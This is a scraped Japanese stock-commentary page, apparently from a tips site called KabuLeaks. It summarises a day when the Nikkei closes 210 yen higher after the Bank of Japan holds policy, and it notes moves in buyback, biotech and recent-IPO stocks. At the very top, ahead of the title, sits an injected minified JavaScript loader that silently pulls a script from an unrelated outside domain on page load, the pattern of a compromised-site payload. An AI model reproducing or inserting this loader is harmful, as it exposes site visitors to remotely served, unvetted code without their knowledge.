;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【11/19 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【11/19 大引け】

本日の日経平均株価は210円高と3日続伸。後場の日経平均は日銀が、金融政策の現状維持を決定したことから上げ幅を縮小。失望売りから一時112円高まで上げ幅を急速に縮める場面があったが、その後は根強い先高期待からの押し目買いも入り、やや上値は重いものの終盤にかけ持ち直した。業種別では、33業種中31業種が上昇。倉庫運輸関連、非鉄金属、鉄鋼、保険業などが値上がり率上位に。一方、空運業、不動産業の2業種が値下がりした。

個別では、13時過ぎに発行済み株式数の10.72%を上限とする自社株買いを発表した【6059】ウチヤマホールディングスや大学及び医療機関の計5機関の共同検証により、未成熟のバナナ(青バナナ)を発酵した食品である発酵青バナナ末「バナファイン」にインフルエンザウイルス感染症を予防する効果があることをヒト対象とした試験で初めて確認したと発表した【2929】ファーマフーズなどが後場急伸。また、【4572】カルナバイオサイエンス、【4576】デ・ウエスタン、【4564】オンコセラピー・サイエンスなどバイオ関連の強い動きが目立った。その他、本日、約3週間ぶりにIPOが再開したことをきっかけに直近上場IPO銘柄、【6180】GMOメディア、【4594】グリーンペプタイド、【6172】メタップスなどに見直し買いなども入った。

日経平均は現状維持発表直後は売り優勢もやはり先高期待強く下値は限定的。ただ、ここから更に買い上がるには材料難であるのも変わらず。現状は米株上昇を背景に上昇もここからはやや厳しい感じか。しばらくは2万円を明確に抜けるための新規材料待ち、目先は人気のテーマ株、材料株など短期売買を中心に立ち回りつつ日経平均が何かしらの要因から急落局面などがあったとしたら強気に押し目狙いといったスタンスが一番かと思う。現状かなり高い位置にいるので中途半端な下げでの押し目狙いは慎重に。